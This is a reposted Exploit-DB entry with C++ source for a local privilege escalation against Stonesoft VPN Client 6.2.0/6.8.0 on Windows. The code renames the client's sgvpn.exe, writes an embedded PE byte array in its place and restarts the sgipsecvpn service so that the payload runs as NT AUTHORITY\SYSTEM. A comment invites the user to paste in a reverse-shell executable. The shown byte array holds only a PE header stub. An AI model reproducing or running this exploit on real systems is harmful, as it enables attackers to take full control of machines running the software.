Stonesoft VPN Client 6.2.0 / 6.8.0 – Local Privilege Escalation

  • 作者: TOUHAMI Kasbaoui
    日期: 2023-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51341/
  • # Exploit Title: Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation 
    # Exploit Author : TOUHAMI KASBAOUI
    # Vendor Homepage : https://www.forcepoint.com/ 
    # Software: Stonesoft VPN Windows
    # Version : 6.2.0 / 6.8.0
    # Tested on : Windows 10
    # CVE : N/A
    #Description local privilege escalation vertical from Administrator to NT AUTHORITY / SYSTEM
    
    #define UNICODE
    #define _UNICODE
    #include <Windows.h>
    #include <iostream>
    
    using namespace std;
    enum Result
    {
    unknown,
    serviceManager_AccessDenied,
    serviceManager_DatabaseDoesNotExist,
    service_AccessDenied,
    service_InvalidServiceManagerHandle,
    service_InvalidServiceName,
    service_DoesNotExist,
    service_Exist
    };
    
    Result ServiceExists(const std::wstring& serviceName)
    {
    Result r = unknown;
    
    SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);
    
    if (manager == NULL)
    {
    DWORD lastError = GetLastError();
    
    if (lastError == ERROR_ACCESS_DENIED)
    return serviceManager_AccessDenied;
    else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)
    return serviceManager_DatabaseDoesNotExist;
    else
    return unknown;
    }
    
    SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);
    
    if (service == NULL)
    {
    DWORD error = GetLastError();
    
    if (error == ERROR_ACCESS_DENIED)
    r = service_AccessDenied;
    else if (error == ERROR_INVALID_HANDLE)
    r = service_InvalidServiceManagerHandle;
    else if (error == ERROR_INVALID_NAME)
    r = service_InvalidServiceName;
    else if (error == ERROR_SERVICE_DOES_NOT_EXIST)
    r = service_DoesNotExist;
    else
    r = unknown;
    }
    else
    r = service_Exist;
    
    if (service != NULL)
    CloseServiceHandle(service);
    
    if (manager != NULL)
    CloseServiceHandle(manager);
    
    return r;
    }
    
    bool ChangeName() {
    LPCWSTR parrentvpnfilename = L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn.exe";
    LPCWSTR newName = L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn_old.exe";
    bool success = MoveFile(parrentvpnfilename, newName);
    if (success) {
    cerr << "[+] SVGVPN filename changed.\n";
    }
    else {
    cerr << "Failed to rename file \n";
    }
    return 0;
    }
    
    int main() {
    
    const uint8_t shellcode[7168] = {
    0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
    0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    }; //You can set array bin of your reverse shell PE file here
    
    std::wstring serviceName = L"sgipsecvpn";
    Result result = ServiceExists(serviceName);
    if (result == service_Exist)
    std::wcout << L"The VPN service '" << serviceName << "' exists." << std::endl;
    else if (result == service_DoesNotExist)
    std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;
    else
    std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;
    ChangeName();
    HANDLE fileHandle = CreateFile(L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    cerr << "[*] Loading Malicious file into main PE of Forcepoint Installer \n";
    if (fileHandle == INVALID_HANDLE_VALUE) {
    cerr << "Failed to create shellcode\n";
    return 1;
    }
    
    DWORD bytesWritten;
    if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {
    cerr << "Failed to write to file\n";
    CloseHandle(fileHandle);
    return 1;
    }
    CloseHandle(fileHandle);
    
    cout << "[+] Payload exported to ForcePointVPN \n";
    Sleep(30);
    cout << "[+] Restart ForcePointVPN Service \n";
    SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    SC_HANDLE serviceHandle = OpenService(scmHandle, TEXT("sgipsecvpn"), SERVICE_ALL_ACCESS);
    
    SERVICE_STATUS serviceStatus;
    QueryServiceStatus(serviceHandle, &serviceStatus);
    if (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
    ControlService(serviceHandle, SERVICE_CONTROL_STOP, &serviceStatus);
    while (serviceStatus.dwCurrentState != SERVICE_STOPPED) {
    QueryServiceStatus(serviceHandle, &serviceStatus);
    Sleep(1000);
    }
    }
    StartService(serviceHandle, NULL, NULL);
    
    CloseServiceHandle(serviceHandle);
    CloseServiceHandle(scmHandle);
    
    return 0;
    }